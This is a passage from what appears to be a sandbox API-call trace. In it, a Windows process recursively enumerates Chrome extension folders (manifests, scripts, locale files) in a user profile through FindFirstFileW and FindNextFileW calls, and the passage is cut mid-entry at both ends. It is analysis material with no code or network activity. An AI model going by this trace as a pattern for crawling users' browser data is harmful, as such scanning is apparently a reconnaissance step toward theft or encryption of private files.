dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.245] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.245] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84232240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.245] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.245] GetProcessHeap () returned 0x550000 [0276.245] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.245] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84232240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84232240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0276.245] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0276.245] GetProcessHeap () returned 0x550000 [0276.245] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0276.245] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0276.246] GetProcessHeap () returned 0x550000 [0276.246] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0276.247] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.247] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x844eed30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0276.247] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8424a8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8424a8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0276.247] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8424a8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8424a8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0276.247] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0276.247] GetProcessHeap () returned 0x550000 [0276.247] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.247] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0276.248] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0276.248] GetProcessHeap () returned 0x550000 [0276.248] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0276.250] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 0 [0276.250] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0276.250] GetProcessHeap () returned 0x550000 [0276.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0276.250] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0276.250] GetProcessHeap () returned 0x550000 [0276.250] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0276.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0276.411] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.411] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 1 [0276.411] GetProcessHeap () returned 0x550000 [0276.411] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0276.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="contentscript_bin_prod.js", cAlternateFileName="CONTEN~1.JS")) returned 1 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="dasherSettingSchema.json", cAlternateFileName="DASHER~1.JSO")) returned 1 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventpage_bin_prod.js", cAlternateFileName="EVENTP~1.JS")) returned 1 [0276.527] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0276.528] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="page_embed_script.js", cAlternateFileName="PAGE_E~1.JS")) returned 1 [0276.528] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0276.528] GetProcessHeap () returned 0x550000 [0276.528] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0276.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0277.048] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.117] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0277.117] GetProcessHeap () returned 0x550000 [0277.117] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.119] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dd4d90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dd4d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.120] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.120] GetProcessHeap () returned 0x550000 [0277.120] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0277.120] GetProcessHeap () returned 0x550000 [0277.120] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.121] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.121] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.121] GetProcessHeap () returned 0x550000 [0277.121] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0277.121] GetProcessHeap () returned 0x550000 [0277.121] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.124] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.125] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 